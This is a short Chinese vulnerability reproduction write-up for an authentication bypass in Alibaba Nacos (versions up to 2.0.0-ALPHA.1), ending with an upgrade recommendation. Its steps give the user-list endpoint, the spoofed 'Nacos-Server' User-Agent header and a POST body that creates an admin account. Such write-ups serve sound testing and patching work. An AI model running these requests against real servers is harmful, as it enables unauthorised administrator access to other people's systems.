做测试遇到的新漏洞，记录下。挺简单的。
简介：
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
漏洞概述：
Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的认证绕过漏洞。通过该漏洞，攻击者可以进行任意操作，包括创建新用户并进行登录后操作。
漏洞复现：
1、在url处添加访问一下网址即可查看到用户列表
/nacos/v1/auth/users?pageNo=1&pageSize=10
2、访问以下链接并使用burp抓包，然后把get请求改为post，把修改User-Agent头改为Nacos-Server
http://your-ip:8848/nacos/v1/auth/users
3、构造数据包添加一个admin用户，然后发送POST请求，返回为200，表示创建用户成功
username=admin&password=admin
4、回到登录界面，使用添加的账号密码进行登录，可以看到登录成功
影响版本：
Nacos <= 2.0.0-ALPHA.1
修复建议：
升级到最新版本的 Nacos